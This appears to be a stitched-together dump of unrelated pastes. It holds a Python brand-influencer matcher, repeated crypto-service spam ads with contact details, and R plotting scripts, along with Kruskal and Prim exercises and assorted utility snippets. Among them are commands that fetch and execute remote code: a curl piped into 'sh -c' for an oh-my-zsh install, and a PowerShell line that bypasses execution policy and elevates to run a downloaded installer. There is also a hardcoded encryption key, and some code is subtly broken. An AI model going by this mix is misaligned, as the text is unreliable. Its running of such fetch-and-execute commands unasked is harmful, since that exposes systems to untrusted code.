            print("  - Very strong text similarity")
            print("  - High potential for successful collaboration")
            print("  - Strong alignment in multiple areas")
        elif similarity_score >= 0.6:
            print("  Good Match (≥0.6):")
            print("  - Significant text similarity")
            print("  - Good potential for collaboration")
            print("  - Notable alignment in key areas")
        elif similarity_score >= 0.4:
            print("  Moderate Match (≥0.4):")
            print("  - Some text similarity")
            print("  - Potential for collaboration with careful consideration")
            print("  - Partial alignment in some areas")
        else:
            print("  Weak Match (<0.4):")
            print("  - Limited text similarity")
            print("  - May need to reconsider match")
            print("  - Limited alignment in key areas")
        
        print("="*80)

    def get_text_similarity_matrix(self, brands_df: pd.DataFrame, 
                                 influencers_df: pd.DataFrame) -> np.ndarray:
        """
        Calculate text similarity matrix between all brands and influencers.
        """
        similarity_matrix = np.zeros((len(brands_df), len(influencers_df)))
        
        print("\nCalculating Text Similarity Scores:")
        print("="*80)
        
        all_scores = []
        
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                similarity_matrix[brands_df.index.get_loc(i),
                                influencers_df.index.get_loc(j)] = similarity
                
                all_scores.append({
                    'brand_id': brand.name, 
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity
                })
                
                self.print_detailed_match_analysis(brand, influencer, similarity)
                
                completed += 1
                if completed % 10 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} comparisons ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        
        print("\nTop 10 Text Similarity Matches:")
        print("="*80)
        print(scores_df[['brand_id', 'brand_name', 'influencer_id', 'influencer_name', 'similarity_score']].head(10).to_string(index=False))
        print("="*80)
        
        return similarity_matrix

    def save_similarity_scores(self, brands_df: pd.DataFrame, 
                             influencers_df: pd.DataFrame,
                             output_path: str):
        """
        Calculate and save all similarity scores to a CSV file.
        """
        all_scores = []
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        logger.info(f"Starting to calculate similarity scores for {total_comparisons} brand-influencer pairs")
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                
                all_scores.append({
                    'brand_id': brand.name,
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity,
                    'brand_text': brand_text,
                    'influencer_text': influencer_text
                })
                
                completed += 1
                if completed % 20 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        scores_df.to_csv(output_path, index=False)
        logger.info(f"Saved detailed similarity scores to {output_path}")
Wow! The future is here, and AI is your golden ticket to success! From mind-blowing automation to game-changing AI solutions, the opportunities are limitless. Imagine building a business that runs on innovation, scales effortlessly, and generates massive profits!

Ready to ride the AI wave and turn your vision into reality? The time to start is NOW! 
  
Visit : https://www.dappfort.com/blog/ai-business-ideas/

Instant Reach Experts:

Visit us :  https://www.dappfort.com/cryptocurrency-exchange-development-company/      
Contact : +91 8838534884
Mail : sales@dappfort.com
<div align="center">
  <img src="https://s2.loli.net/2025/02/21/KFh9pSTxQWcDJwO.png" height="100">
  <div>&nbsp;</div>
  <img src="https://readme-typing-svg.herokuapp.com?font=Fira+Code&pause=1000&color=2EA2F7&center=true&vCenter=true&width=435&lines=YOU+FOCUS+YOUR+WALK" alt="Typing SVG" />
</div>

<!-- # Introduction
YOU FOCUS YOUR WALK is a pedestrian cell phone usage detection system. Once deployed on the streets, it detects the postures and the hand images of pedestrians to determine whether they are using a cell phone. The face of those who are using the cell phone will be announced. -->
💰 Launch Your Own Stablecoin with Confidence!

Enter the world of stable digital assets with a secure, transparent, and fully customizable stablecoin development solution.

✅ Fiat-pegged, crypto-collateralized, or algorithmic stablecoins
✅ Regulatory-compliant & highly secure
✅ Seamless integration with wallets & exchanges
✅ Built for scalability & global transactions

🚀 Power up your crypto ecosystem with Dappfort – The Trusted Stablecoin Development Company!
  
Instant Reach Experts:
Contact : +91 8838534884
Mail : sales@dappfort.com
At Dappfort, a leading decentralized exchange development company, we provide end-to-end solutions to build high-performance DEX platforms. Our expertise ensures seamless trading, advanced security, and optimized scalability, empowering businesses to launch future-ready decentralized exchanges.

Instant Reach Experts:
Contact : +91 8838534884
Mail : sales@dappfort.com
🚀 The Future of Blockchain Business in 2025!

Blockchain is no longer just about crypto—it’s opening doors to groundbreaking business opportunities! From DeFi platforms to tokenized assets, new ventures are reshaping industries and creating endless possibilities.

Want to know which blockchain business ideas will dominate 2025? We've got 15 game-changing ideas that could be your next big move!

Don't miss out

Instant Reach Experts:

Contact : +91 8838534884
Mail : sales@dappfort.com
Dappfort is a leading cryptocurrency exchange development company committed to delivering high-quality, secure, and scalable trading platforms. With a strong focus on customer satisfaction, we have successfully developed and deployed various types of crypto exchanges tailored to our clients unique requirements. Our expert team ensures top-tier security, privacy, and reliability, fostering trust between business owners and their users. By leveraging our advanced cryptocurrency exchange solutions, including P2P trading and Bitcoin exchange systems, businesses can offer a seamless and highly secure trading experience. To explore how Dappfort can help you build a robust crypto exchange, schedule a consultation with our blockchain experts today.

Instant Reach Experts:

Visit us :  https://www.dappfort.com/cryptocurrency-exchange-development-company/      
Contact : +91 8838534884
Mail : sales@dappfort.com
map(int, input().split())
while ( user_input := input("Enter something (or 'quit' to exit): ") ) != "quit":
    
    print(f"You entered: {user_input}")
import pyarrow as pya
from pyarrow import orc
from glob import glob
import duckdb

conn = duckdb.connect(database='python_db.duckdb')

# Read Multiple orc file using pyarrow
orc_files = glob("orc_file_path/*.orc")
data_list = []
for orc_file in orc_files:
    with open(orc_file,"rb") as orcfile:
        data = orc.ORCFile(orcfile).read()
        data_list.append(data)

# Combaine all orc table into single arrow table
final_table = pya.concat_tables(data_list)

# Register the Pyarrow Table in DuckDB As View
conn.register('orc_table',final_table)

# Query the view
conn.execute("SELECT * FROM orc_table;").df()
import pyarrow as pya
from pyarrow import orc
from glob import glob
import duckdb

conn = duckdb.connect(database='python_db.duckdb')

# Read orc file using pyarrow
orc_filepath = 'ORC file path'
with open(orc_filepath,'rb') as orc_file:
    table = orc.ORCFile(orc_file).read()

# Register the Pyarrow Table in DuckDB As View
conn.register('orc_table',table)

# Query the view
conn.execute("SELECT * FROM orc_table;").df()
#! /bin/bash

# Setting Postgis password
export PGPASSWORD="postgis_password"

for i in $(ls /home/user/Saravaana/Summary_Data_Generation/pyspark/Output_File/COL/05/*.csv);
	do
		echo "Started: $i"
		psql -h host -U user -d database -c "\copy public.transdata (maid, transaction_datetime, latitude, longitude, geohash, dwell_time_in_seconds) from  '$i' with (format csv,header true, delimiter ',');"
		echo "Completed: $i"
	done;

# Unset password after the script finishes for security
unset PGPASSWORD
library(dplyr)

# Compute average temperature per year
df_avg <- df %>%
  rowwise() %>%
  mutate(Average_Temperature = mean(c_across(-Year), na.rm = TRUE))  # Exclude "Year" column

# Create the bar chart
ggplot(df_avg, aes(x = Year, y = Average_Temperature, fill = as.factor(Year))) +
  geom_bar(stat = "identity", show.legend = FALSE) +  # Bar chart
  scale_fill_viridis_d() +  # Use a color palette
  labs(title = "Average Yearly Temperature",
       x = "Year",
       y = "Average Temperature (°C)") +
  theme_minimal()
library(ggplot2)
library(reshape2)

# Reshape data into long format for heatmap
df_long <- melt(df, id.vars = "Year", variable.name = "Month", value.name = "Temperature")

# Create the heatmap
ggplot(df_long, aes(x = Year, y = Month, fill = Temperature)) +
  geom_tile() +  # Creates the heatmap
  scale_fill_viridis_c(option = "plasma", name = "Temperature (°C)") +  # Adjust color scale
  labs(title = "Heatmap of Monthly Temperature Trends",
       x = "Year",
       y = "Month") +
  theme_minimal() +
  theme(axis.text.x = element_text(angle = 90, hjust = 1))  # Rotate x-axis labels
# Load required libraries
library(readxl)
library(dplyr)
library(ggplot2)
library(scales)
library(tidyr)

# Step 1: Load the cleaned temperature data
df <- read_excel("D:/thesis/cleaned_temperature_data.xlsx") 

# Step 2: Convert 'Min_Temperature' to numeric
df <- df %>%
  mutate(Min_Temperature = as.numeric(Min_Temperature))

# Step 3: Reshape the data to long format
df_long <- df %>%
  pivot_longer(cols = c(Max_Temperature, Min_Temperature), 
               names_to = "Type", 
               values_to = "Temperature")

# Step 4: Ensure Month is an ordered factor for proper sequencing
df_long$Month <- factor(df_long$Month, 
                        levels = c("Jan", "Feb", "Mar", "Apr", "May", "Jun", 
                                   "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"),
                        ordered = TRUE)

# Step 5: Create the line graph with facets for months in order
ggplot(df_long, aes(x = Year, y = Temperature, color = Type, group = Type)) +
  geom_line(size = 1) +  # Add lines
  geom_point(size = 2) +  # Add points
  facet_wrap(~ Month, scales = "free_y", nrow = 3, ncol = 4) +  # Correct sequence of months
  labs(title = "Monthly Temperature Trends Over Years",
       x = "Year", y = "Temperature (°C)") +
  scale_y_continuous(breaks = scales::pretty_breaks(n = 10)) +  # Proper Y-axis
  scale_x_continuous(breaks = seq(min(df$Year, na.rm = TRUE), max(df$Year, na.rm = TRUE), by = 1)) +  # Remove decimals in Year
  scale_color_manual(values = c("Max_Temperature" = "red", "Min_Temperature" = "blue")) +  # Color mapping
  theme_minimal() +
  theme(axis.text.x = element_text(angle = 45, hjust = 1))  # Rotate X-axis labels for clarity
try:
    package = "zarr"
    package_version = version(package)
    major_version = int(package_version.split(".")[0])  # Extract the major version
    if major_version == 3:
        print(f"The package major version is {major_version}.")
        import zarr
        import fsspec
        # strip leading 's3://' from url
        url1 = url1[5:]
        url2 = url2[5:]
        fs = fsspec.filesystem("s3", asynchronous=True)
        store1 = zarr.storage.FsspecStore(fs, path=url1)
        store2 = zarr.storage.FsspecStore(fs, path=url2)
        file1 = zarr.open(store=store1)
        file2 = zarr.open(store=store2)
    else:
        print(f"The package major version is {major_version}.")
        import s3fs
        fs = s3fs.S3FileSystem(anon=True)
        file1 = s3fs.S3Map(url1, s3=fs)
        file2 = s3fs.S3Map(url2, s3=fs)
        
except PackageNotFoundError:
    print(f"{package} is not installed")
# Install win32clipboard
# pip install pywin32

import win32clipboard as cp

cp.OpenClipboard()

if cp.IsClipboardFormatAvailable(cp.CF_HDROP):
    files_paths = cp.GetClipboardData(cp.CF_HDROP)
    print(files_paths)

cp.CloseClipboard()
import socket

def get_ipv4_address():
    try:
        hostname = socket.gethostname()
        local_ip = socket.gethostbyname(hostname)
        return local_ip
    except Exception as e:
        return f'Error {e}'
    
print(f'My IPv4 Address is : {get_ipv4_address()}')
memory = [user_defined_task]
while llm_should_continue(memory): # this loop is the multi-step part
    action = llm_get_next_action(memory) # this is the tool-calling part
    observations = execute_action(action)
    memory += [action, observations]
check the url below

sudo apt update

sudo apt install -y zsh

it will ask a question for config opt 2

zsh --version

which zsh

whereis zsh

sudo chsh -s /usr/bin/zsh

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions

git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

plugins=(git zsh-autosuggestions zsh-syntax-highlighting jsontools dirhistory)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"$url = (Invoke-WebRequest -Uri 'https://www.python.org/downloads/windows/').Content | Select-String -Pattern 'https://www.python.org/ftp/python/\d+\.\d+\.\d+/python-\d+\.\d+\.\d+-amd64\.exe' -AllMatches | % { `$_.Matches[0].Value }; $path = `$env:USERPROFILE\Downloads\ + (`$url -split '/')[-1]; Invoke-WebRequest -Uri `$url -OutFile $path; if ((Read-Host 'Install? (Y/N)') -ieq 'y') { Start-Process -FilePath $path -Wait }`"" -Verb RunAs } else { $url = (Invoke-WebRequest -Uri 'https://www.python.org/downloads/windows/').Content | Select-String -Pattern 'https://www.python.org/ftp/python/\d+\.\d+\.\d+/python-\d+\.\d+\.\d+-amd64\.exe' -AllMatches | % { $_.Matches[0].Value }; $path = "$env:USERPROFILE\Downloads\" + ($url -split '/')[-1]; Invoke-WebRequest -Uri $url -OutFile $path; if ((Read-Host "Install? (Y/N)") -ieq 'y') { Start-Process -FilePath $path -Wait }}
pip install -q -U google-generativeai
def reverse_alternating_groups(s):
    result = []  # List to store the final result
    group = ""   # Temporary string to hold each group (either digits or letters)
    reverse = False  # Flag to indicate whether to reverse the group

    for i in range(len(s)):
        if s[i].isalpha():
            # Add character to the current group of letters
            group += s[i]
        else:
            # If we encounter a non-letter (digit), process the current group
            if group:
                # Reverse the group if needed and append it to the result
                if reverse:
                    result.append(group[::-1])  # Reverse the letters group
                else:
                    result.append(group)  # Leave the letters group as it is
                group = ""  # Reset the group for the next set of characters

            # Append the digit to the result (digits are unchanged)
            result.append(s[i])

            # Toggle the reverse flag for the next group of letters
            reverse = not reverse

    # Process any remaining group (in case the string ends with letters)
    if group:
        if reverse:
            result.append(group[::-1])  # Reverse the last letters group if needed
        else:
            result.append(group)

    # Return the result as a joined string
    return ''.join(result)

# Example usage:
input_str_1 = "abc123def456ghi789jkl"
output_str_1 = reverse_alternating_groups(input_str_1)
print(output_str_1)  # Output: "cba123def456ihg789jkl"

input_str_2 = "a1b2c3d"
output_str_2 = reverse_alternating_groups(input_str_2)
print(output_str_2)  # Output: "a1b2c3d"
def reverse_digits_in_series(s):
    # Initialize an empty list to store the result
    result = []
    
    # Temporary list to store digits while iterating
    digits = []

    # Loop through each character in the input string
    for char in s:
        if char.isdigit():
            # If the character is a digit, add it to the digits list
            digits.append(char)
        else:
            # If the character is not a digit, process the digits collected so far
            if digits:
                # Reverse the digits list and add to the result
                result.append(''.join(digits[::-1]))
                digits = []  # Reset the digits list for next series
            # Append the non-digit character to the result as is
            result.append(char)
    
    # In case there are digits left at the end of the string
    if digits:
        result.append(''.join(digits[::-1]))

    # Join the result list into a string and return it
    return ''.join(result)

# Example usage
input_str_1 = "abc123def456gh"
output_str_1 = reverse_digits_in_series(input_str_1)
print(output_str_1)  # Output: "abc321def654gh"

input_str_2 = "1a2b3c"
output_str_2 = reverse_digits_in_series(input_str_2)
print(output_str_2)  # Output: "1a2b3c"
def reverse_words(sentence):
    # Split the sentence into a list of words
    words = sentence.split()

    # Initialize an empty list to store the reversed words
    reversed_words = []

    # Loop through the words backwards and append each to the reversed_words list
    for i in range(len(words) - 1, -1, -1):
        reversed_words.append(words[i])

    # Join the reversed words into a single string with spaces
    reversed_sentence = ' '.join(reversed_words)

    return reversed_sentence

# Example usage
input_sentence_1 = "Hello world"
output_sentence_1 = reverse_words(input_sentence_1)
print(output_sentence_1)  # Output: "world Hello"

input_sentence_2 = "Keep calm and code on"
output_sentence_2 = reverse_words(input_sentence_2)
print(output_sentence_2)  # Output: "on code and calm Keep"
def reverse_alternate_groups(s):
    groups = []
    current_group = ""
    is_letter = s[0].isalpha()  # Determine if the first character is a letter or digit

    # Step 1: Split the input string into groups of continuous letters and digits
    for char in s:
        if char.isalpha() == is_letter:  # Same type (letter or digit)
            current_group += char
        else:  # Type changes (letter to digit or digit to letter)
            groups.append(current_group)  # Store the completed group
            current_group = char  # Start a new group
            is_letter = char.isalpha()  # Update the type
    groups.append(current_group)  # Append the last group

    # Step 2: Reverse every alternate group of letters
    for i in range(len(groups)):
        if i % 2 == 0 and groups[i][0].isalpha():  # Reverse if the group is letters and at even index
            groups[i] = groups[i][::-1]

    # Step 3: Join the groups back into a single string
    return ''.join(groups)

# Example usage
input_str = "abc123def456ghi789jkl"
output_str = reverse_alternate_groups(input_str)
print(output_str)  # Output: "cba123def456ihg789jkl"
def find_cheapest_flight_no_heapq(flights, origin, destination):
    # Initialize the queue with the starting airport and a cost of 0
    queue = [(0, origin)]
    
    # Dictionary to store the minimum cost to reach each airport
    min_cost = {origin: 0}
    
    # Process each airport in the queue
    while queue:
        # Find the element with the smallest cost in the queue
        current_index = 0
        for i in range(1, len(queue)):
            if queue[i][0] < queue[current_index][0]:  # Compare costs to find minimum
                current_index = i
        
        # Remove the element with the smallest cost from the queue
        current_cost, current_airport = queue.pop(current_index)
        
        # If the current airport is the destination, return the cost
        if current_airport == destination:
            return current_cost
        
        # Iterate through all neighbors (connected airports)
        for neighbor, price in flights.get(current_airport, {}).items():
            # Calculate the new cost to reach the neighbor
            new_cost = current_cost + price
            
            # Update the minimum cost to reach the neighbor if it's cheaper
            if new_cost < min_cost.get(neighbor, float('inf')):
                min_cost[neighbor] = new_cost  # Store the new minimum cost
                queue.append((new_cost, neighbor))  # Add the neighbor to the queue
    
    # If the destination is not reachable, return -1
    return -1

# Example Input
flights = {
    "JFK": {"LAX": 500, "ORD": 200},  # Flights from JFK to LAX and ORD with costs
    "ORD": {"LAX": 300, "MIA": 150},  # Flights from ORD to LAX and MIA with costs
    "LAX": {"MIA": 200},              # Flights from LAX to MIA with cost
    "MIA": {"ATL": 100},              # Flights from MIA to ATL with cost
    "ATL": {}                         # No outgoing flights from ATL
}

# Example Usage
origin = "JFK"  # Starting airport
destination = "MIA"  # Target airport
cheapest_price = find_cheapest_flight_no_heapq(flights, origin, destination)

# Print the result based on the output of the function
if cheapest_price != -1:
    print(f"The cheapest flight from {origin} to {destination} costs ${cheapest_price}")
else:
    print(f"No route found from {origin} to {destination}")
import streamlit as st
import pandas as pd

# Initialize player stats
players = [
    {"name": "Dylan Vente", "position": "Striker", "goals": 0, "shots": 0, "assists": 0},
    {"name": "Reklov Lageroy", "position": "Striker", "goals": 0, "shots": 0, "assists": 0},
    {"name": "Fludjy Moise", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Nemanja Radonjic", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Gedson Fernandes", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Thomas Ouwejan", "position": "Midfielder", "passes": 0, "tackles": 0, "assists": 0},
    {"name": "Luis Advincula", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Antonee Robinson", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Maximiliano Olivera", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Daniel Congre", "position": "Defender", "tackles": 0, "clearances": 0, "interceptions": 0},
    {"name": "Mathieu Michel", "position": "Goalkeeper", "saves": 0, "clearances": 0},
]

def update_stat(player_name, stat):
    """Update the stat for the selected player."""
    for player in players:
        if player['name'] == player_name:
            player[stat] += 1

# Streamlit interface
st.title("DLS 19 Live Stats Tracker")
st.write("Track player performance live during gameplay!")

# Select player and action
player_names = [player['name'] for player in players]
selected_player = st.selectbox("Select Player", player_names)

# Dynamically show actions based on position
selected_player_data = next(player for player in players if player['name'] == selected_player)
if selected_player_data['position'] == "Striker":
    actions = ["goals", "shots", "assists"]
elif selected_player_data['position'] == "Midfielder":
    actions = ["passes", "tackles", "assists"]
elif selected_player_data['position'] == "Defender":
    actions = ["tackles", "clearances", "interceptions"]
else:  # Goalkeeper
    actions = ["saves", "clearances"]

selected_action = st.selectbox("Select Action", actions)

# Record action
if st.button("Record Action"):
    update_stat(selected_player, selected_action)
    st.success(f"Updated {selected_action} for {selected_player}!")

# Display current stats
st.subheader("Current Player Stats")
st.dataframe(pd.DataFrame(players))

# Export data
if st.button("Export Stats to CSV"):
    df = pd.DataFrame(players)
    df.to_csv("match_stats.csv", index=False)
    st.success("Stats exported to match_stats.csv")
import openpyxl as xl
from openpyxl.chart import BarChart, Reference
from openpyxl.utils import column_index_from_string

def transactie_analyse (filename):
    wb = xl.load_workbook('filename')  
    sheet = wb ['Blad']
    
    for row in range(2, sheet.max_row + 1):
        cell = sheet.cell(row,3)
        corrected_price = cell.value * 0.9
        corrected_price_cell = sheet.cell(row, 4)
        corrected_price_cell.value = corrected_price
    
    values = Reference(sheet,
              min_row=2,
              max_row=sheet.max_row,
              min_col=4,
              max_col=4)
    
    chart = BarChart()
    chart.add_data(values)
    sheet.add_chart(chart,'cel')
    
    wb.save(filename)
from cryptography.fernet import Fernet
import sqlite3

# Generate key to use it
#print(Fernet.generate_key())

key = b'rMqQ4gNSsvkubQnn9CmW25PTFDwNlQPUp7YN4qDVSts='
cipher_suite = Fernet(key)

db_name = 'mydb.db'

conn = sqlite3.connect(db_name)
cursor = conn.cursor()

# create a table
cursor.execute('create table if not exists items (name STRING, price INTEGER)')

def add_item(name, price):
    name = cipher_suite.encrypt(name.encode())
    price = cipher_suite.encrypt(str(price).encode())

    cursor.execute('insert into items (name, price) values (?, ?)', (name, price))

    conn.commit()

add_item('test', 50)

def get_items():
    results = cursor.execute('select * from items').fetchall()
    for item in results:
        name = cipher_suite.decrypt(item[0]).decode()
        price = cipher_suite.decrypt(item[1]).decode()
        print(name, price)

get_items()
n = input("Введите число с периодом (например, 0.1(23)): ")

f_index = n.index('(')
period = n[f_index + 1:n.index(')')]
non_periodic = n[:f_index]

a = non_periodic.replace('.', '') + period

integer_part = int(non_periodic.replace('.', '')) if '.' in non_periodic else int(non_periodic)

non_periodic_length = len(non_periodic.split('.')[-1]) if '.' in non_periodic else 0
period_length = len(period)

numerator = integer_part * (10 ** (non_periodic_length + period_length) - 1) + int(period)
denominator = (10 ** non_periodic_length - 1) * (10 ** period_length)

def to_base_6(value):
    if value == 0:
        return '0'
    base_6_value = ''
    while value > 0:
        base_6_value = str(value % 6) + base_6_value
        value //= 6
    return base_6_value

base_6_numerator = to_base_6(numerator)
base_6_denominator = to_base_6(denominator)

print(f'Число в шестиричной системе: {base_6_numerator}/{base_6_denominator}')
import pendulum

def calc_expire_date(prodact_date, expiry):
    prodact_date = pendulum.parse('{:0>2}-{:0>2}-{:0>2}'.format(*prodact_date))
    target_date = pendulum.duration(**expiry) + prodact_date
    days_to_expire = (target_date.date() - pendulum.now().date()).days
    print(f'Product vaild until : {target_date} You have {days_to_expire} days')


calc_expire_date((2024, 11, 15), expiry = {'days': 15})
import tkinter as tk

root = tk.Tk()
root.geometry('200x200')

def close_window():
    root.destroy()

close_bt = tk.Button(root, text = 'close', command = close_window)
close_bt.pack()

def disable_close_bt():
    return

root.protocol('WM_DELETE_WINDOW', disable_close_bt)
root.mainloop()
Task-9
Implement Kruskal algorithm
Algorithm:
Algorithm Kruskal(E, cost, n, t)
// E is the set of edges in G. G has n vertices. cost[u, v] is the
// cost of edge (u, v). t is the set of edges in the minimum-
// spanning tree. The final cost is returned.

{
    Construct a heap out of the edge costs using Heapify;
    for i := 1 to n do parent[i] := −1;
    // Each vertex is in a different set.
    i := 0; mincost := 0.0;
    while ((i < n − 1) and (heap not empty)) do
    {
        Delete a minimum cost edge (u, v) from the heap
        and reheapify using Adjust;
        j := Find(u); k := Find(v);
        if (j ≠ k) then
        {
            i := i + 1;
            t[i, 1] := u; t[i, 2] := v;
            mincost := mincost + cost[u, v];
            Union(j, k);
        }
    }
    if (i ≠ n − 1) then write ("No spanning tree");
    else return mincost;
}
Program:
# KRUSKAL.PY

import heapq

class Graph():
  def __init__(self, v):
    self.V = v
    # graph contains list of edges ** (u, v, w)
    # u -> src, v -> destination, w -> weight/cost
    self.edges = []

  def add_edge(self,u,v,w):
    # add edge and override cost
    self.edges.append([u,v,w])

  def kruskal(self):
    
    # helper functions

    def find(parent, i):
      if parent[i]==i:
        return i
      # path compression technique
      return find(parent, parent[i])

    def union(parent, rank, x, y):
      # union by rank

      # finding roots of disjoint sets x and y
      x_root = find(parent,x)
      y_root = find(parent,y)

      # Attach smaller rank tree under root of 
        # high rank tree (Union by Rank)
      if rank[x_root]<rank[y_root]:
        parent[x_root] = y_root
      elif rank[x_root]>rank[y_root]:
        parent[y_root] = x_root   
      else:
        # If ranks are same, then make one as root 
        # and increment its rank by one 
        parent[y_root] = x_root
        rank[x_root] += 1

    def cout(t):
      print()
      print("Selected Edges:")
      for edge in t:
        print(edge[0]+1,edge[1]+1,edge[2])

    
    # The main function to construct MST using Kruskal's algorithm 

    # t[1:n-1,1:3] : selected edges, exactly n-1
    t = [[0,0,0] for i in range(self.V-1)]

    # Create a min-heap of edges
    min_heap = []
    for u, v, w in self.edges:
        heapq.heappush(min_heap, (w, u, v))

    parent = [i for i in range(self.V)]
    rank = [0]*self.V

    # count of edges in t / MST
    i = 0
    mincost = 0

    while i<self.V-1 and  min_heap:
      w,u,v = heapq.heappop(min_heap)
      j = find(parent,u)
      k = find(parent,v)

      if j!=k:
        t[i][0],t[i][1],t[i][2] = u,v,w
        i+=1
        mincost += w
        union(parent,rank,j,k)
    
    cout(t)
    print("mincost : ",mincost)

if __name__ == '__main__':
  v = int(input("Enter number of vertices :"))
  g = Graph(v)
  e = int(input("Enter number of Edges :"))
  for _ in range(e):
    u,v,w = map(int, input().split())
    g.add_edge(u-1,v-1,w)

  g.kruskal()


  '''

INPUT:

7
9
1 6 10
6 5 25
5 4 22
5 7 24
4 3 12
4 7 18
7 2 14
2 3 16
2 1 28

OUTPUT:

Selected Edges:
1 6 10
4 3 12
7 2 14
2 3 16
5 4 22
6 5 25
mincost :  99

'''
Task-8
Implement Prim's algorithm
Algorithm:
Algorithm Prim(E, cost, n, t)
// E is the set of edges in G. cost[1 : n, 1 : n] is the cost 
//adjacency matrix of an n-vertex graph such that cost[i, j] is 
//either a positive real number or ∞ if no edge (i, j) exists.
// A minimum spanning tree is computed and stored as a set of edges in the array t[1 : n − 1, 1 : 2].
// (t[i, 1], t[i, 2]) is an edge of 
//the minimum-cost spanning tree. The final cost is returned.
{
Let (k, l) be an edge of minimum cost in E;
mincost := cost[k, l];
t[1, 1] := k; t[1, 2] := l;

For i := 1 to n do // Initialize near.

if (cost[i, l] < cost[i, k]) then near[i] := l;  
else near[i] := k;  
near[k] := near[l] := 0;

For i := 2 to n − 1 do
{
// Find n − 2 additional edges for t.  
Let j be an index such that near[j] ≠ 0 and cost[j, near[j]] is minimum;  
t[i, 1] := j; t[i, 2] := near[j];  
mincost := mincost + cost[j, near[j]];  
near[j] := 0;  
for k := 1 to n do  
    if ((near[k] ≠ 0) and (cost[k, near[k]] > cost[k, j]))  
        then near[k] := j;  
}
Return mincost;
}

Program:
#PRIM.PY

class Graph():
  def __init__(self, v):
    self.V = v
    # graph[][] ~~~ cost [][]
    # cost = inf ~~ 1000000007 if no edge between pair
    # initially no edges
    self.cost = [[1000000007 for cols in range(v)] for rows in range(v)]

  def add_edge(self,u,v,w):
    # add edge and override cost
    self.cost[u][v] = self.cost[v][u] = w


  def prim(self):

    # helper functions

    def find_min_edge():
      min_edge = 1000000007 #~~ inf
      # initilize (k,l) to (-1,-1)
      k,l = -1,-1
      for i in range(self.V):
        for j in range(self.V):
          if i!=j and self.cost[i][j]<min_edge:
            min_edge = self.cost[i][j]
            k,l = i,j
      return k,l

    def find_next_edge(near):
      j = -1
      min_cost = 1000000007 # ~inf
      for i in range(self.V):
        if near[i]!=-1 and self.cost[i][near[i]]<min_cost:
          min_cost = self.cost[i][near[i]]
          j = i
      return j

    def update_near(near, j):
      for k in range(self.V):
        if near[k]!=-1 and self.cost[k][near[k]] > self.cost[k][j]:
          near[k] = j

    def cout(t):
      print()
      print("selected edges :")
      for edge in t:
        print(edge[0]+1,edge[1]+1,self.cost[edge[0]][edge[1]])



    # The main function to construct MST using prim's algorithm 



    # t[1:n-1,1:2] : selected edges, exactly n-1
    t = [[0,0] for i in range(self.V-1)]

    # find (k,l) an edge with minimum cost
    k,l = find_min_edge()
    mincost = self.cost[k][l]
    t[0][0], t[0][1] = k,l

    # define near[]
    near = [-1]*self.V

    for i in range(self.V):
      if self.cost[i][l]<self.cost[i][k]:
        near[i] = l
      else:
        near[i] = k
    
    near[k] = near[l] = -1

    for i in range(1,self.V-1):
      # j is the next vertex where near[j]!=0 and cost[j][near[j]] is minimum
      j = find_next_edge(near)
      # add to selected edges
      t[i][0],t[i][1] = j,near[j]
      mincost += self.cost[j][near[j]]
      # set near[j] to 0
      near[j] = -1

      # update near
      update_near(near,j)

    # print selected edges and mincost
    
    cout(t)
    print("mincost : ",mincost)
  

if __name__ == '__main__':
  v = int(input("Enter number of vertices :"))
  g = Graph(v)
  e = int(input("Enter number of Edges :"))
  for _ in range(e):
    u,v,w = map(int, input().split())
    g.add_edge(u-1,v-1,w)
  
  g.prim()

  '''

INPUT:

7
9
1 6 10
6 5 25
5 4 22
5 7 24
4 3 12
4 7 18
7 2 14
2 3 16
2 1 28

OUTPUT:

selected edges :
1 6 10
5 6 25
4 5 22
3 4 12
2 3 16
7 2 14
mincost :  99

'''

import re

def extract_nf_data(text,pattern):
  match = re.search(pattern, text)
  if match:
    return match.groups()
  else:
    return 'not found'

text = _json.message_body
pattern_keys = r"ccm=(\d+)&nf=(\d+)&cod=([\w\d]+)"
pattern_provider=r"Razão Social: (.*)\n"

ccm,nf,cod=extract_nf_data(text,pattern_keys)
provider=extract_nf_data(text,pattern_provider)[0]

